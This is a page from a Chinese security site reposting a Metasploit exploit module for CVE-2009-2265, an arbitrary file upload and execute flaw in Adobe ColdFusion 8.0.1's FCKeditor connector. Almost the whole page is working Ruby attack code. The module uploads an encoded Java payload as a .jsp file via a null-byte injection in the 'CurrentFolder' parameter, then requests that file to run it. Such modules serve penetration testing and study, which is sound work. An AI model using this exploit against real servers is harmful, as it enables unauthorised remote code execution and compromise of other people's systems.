首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ColdFusion 8.0.1 Arbitrary File Upload and Execute(meta)
来源:http://www.metasploit.com 作者:MC 发布时间:2010-11-03  
##
# $Id: coldfusion_fckeditor.rb 10874 2010-11-02 23:51:17Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ColdFusion 8.0.1 Arbitrary File Upload and Execute.',
			'Description'    => %q{
					This module exploits the Adobe ColdFusion 8.0.1 FCKeditor 'CurrentFolder' File Upload
				and Execute vulnerability.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10874 
, 'Platform' => 'win', 'Privileged' => true, 'References' => [ [ 'CVE', '2009-2265' ], ], 'Targets' => [ [ 'Universal Windows Target', { 'Arch' => ARCH_JAVA, 'Payload' => { 'DisableNops' => true, }, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 3 2009' )) register_options( [ Opt::RPORT(80), OptString.new('FCKEDITOR_DIR', [ false, 'The path to upload.cfm ', '/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm' ]), ], self.class ) end def exploit page = rand_text_alpha_upper(rand(10) + 1) + ".jsp" dbl = Rex::MIME::Message.new dbl.add_part(payload.encoded, "application/x-java-archive", nil, "form-data; name=\"newfile\"; filename=\"#{rand_text_alpha_upper(8)}.txt\"") file = dbl.to_s file.strip! print_status("Sending our POST request...") res = send_request_cgi( { 'uri' => "#{datastore['FCKEDITOR_DIR']}", 'query' => "Command=FileUpload&Type=File&CurrentFolder=/#{page}%00", 'version' => '1.1', 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=' + dbl.bound, 'data' => file, }, 5) if ( res and res.code == 200 and res.body =~ /OnUploadCompleted/ ) print_status("Upload succeeded! Executing payload...") send_request_raw( { # default path in Adobe ColdFusion 8.0.1. 'uri' => '/userfiles/file/' + page, 'method' => 'GET', }, 5) handler else print_error("Upload Failed...") return end end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Adobe Flash Player "Button" Re
·Minishare 1.5.5 Buffer Overflo
·Avira Premium Security Suite N
·Crystal Report Viewer v8.0.0.3
·Minishare 1.5.5 Buffer Overflo
·HtaEdit v 3.2.3.0 (.hta) Buffe
·Gom Player (wav) Denial of Ser
·Network Associates PGP KeyServ
·Dolphin v7.0.3 Multiple Vulner
·Webster HTTP Server GET Buffer
·Maxthon 3.0.18.1000 CSS Denial
·Internet Explorer CSS Tags Mem
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved